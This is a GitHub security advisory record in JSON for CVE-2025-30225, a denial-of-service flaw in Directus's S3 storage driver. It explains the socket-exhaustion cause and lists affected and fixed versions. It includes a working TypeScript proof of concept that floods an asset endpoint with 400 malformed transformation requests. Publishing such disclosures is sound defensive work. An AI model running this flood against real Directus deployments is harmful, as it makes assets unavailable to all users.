CVE-2025-30225: @directus/storage driver s3 Directus's S3 Assets Become Unavailable Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j8xj-7jff-46mx",
  "modified" : "2025-03-27T03:42:48Z",
  "published" : "2025-03-26T17:19:28Z",
  "aliases" : [ "CVE-2025-30225" ],
  "summary" : "Directus's S3 assets become unavailable after a burst of malformed transformations",
  "details" : "### Summary\nWhen making many malformed transformation requests at once, at some point, all assets are being served as 403.\n\n### Details\nWhen I was investigating this issue, I have found that after a burst of malformed asset transformation requests, the amount of `sockets` held on [Agent on NodeHttpHandler](https://github.com/smithy-lang/smithy-typescript/blob/main/packages/node-http-handler/src/node-http-handler.ts#L189) was always equal to [`STORAGE_CLOUD_MAX_SOCKETS`](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L89) making it impossible to have new connections causing assets to be inaccessible.\n\nAfter looking into this [issue on AWS SDK](https://github.com/aws/aws-sdk-js-v3/issues/6691) I found that if the [stream is requested](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L213), it needs to be consumed otherwise will hang forever. And as can be [seen here](https://github.com/directus/directus/blob/main/api/src/services/assets.ts#L184) the stream is not consumed, because `sharp` will throw an error on the invalid arguments. For example `?height=xyz`\n\nThe [timeouts set here](https://github.com/directus/directus/blob/main/packages/storage-driver-s3/src/index.ts#L87-L88)  had no noticeable effect on tests made.\n\n### PoC\nThis can be easily reproduced with the following steps:\n- setup AWS S3 storage\n- set STORAGE_CLOUD_MAX_SOCKETS: \"50\" (this value is lower than default for easier reproduction)\n- upload a file to your project\n- run this file (Replace the the file ID with the one you just uploaded):\n```ts\nimport axios from \"axios\";\n\nasync function start() {\n  Array.from({ length: 400 }, (_, i) => {\n    axios\n      .get(\n        \"http://localhost:8055/assets/e536aa35-3a81-4fa9-b856-3780584d38d8?width=100&height=XYZ\"\n      )\n      .then(() => console.log(\"✅\"))\n      .catch((e) =>\n        console.log(\"⛔\", e.response?.status || e.code || e.message)\n      );\n  });\n}\n\nstart();\n```\n\nHere's an example:\n\n\n\nhttps://github.com/user-attachments/assets/7f5a6f51-1c51-4d4d-aa4f-c4953e91714c\n\n\n\n\n\n### Impact\nThis causes denial of assets for all policies of Directus, including Admin and Public.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@directus/storage-driver-s3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.22.0"
      }, {
        "fixed" : "12.0.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "directus"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "9.22.0"
      }, {
        "fixed" : "11.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/directus/directus/security/advisories/GHSA-j8xj-7jff-46mx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-30225"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/directus/directus"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-26T17:19:28Z",
    "nvd_published_at" : "2025-03-26T17:15:26Z"
  }
}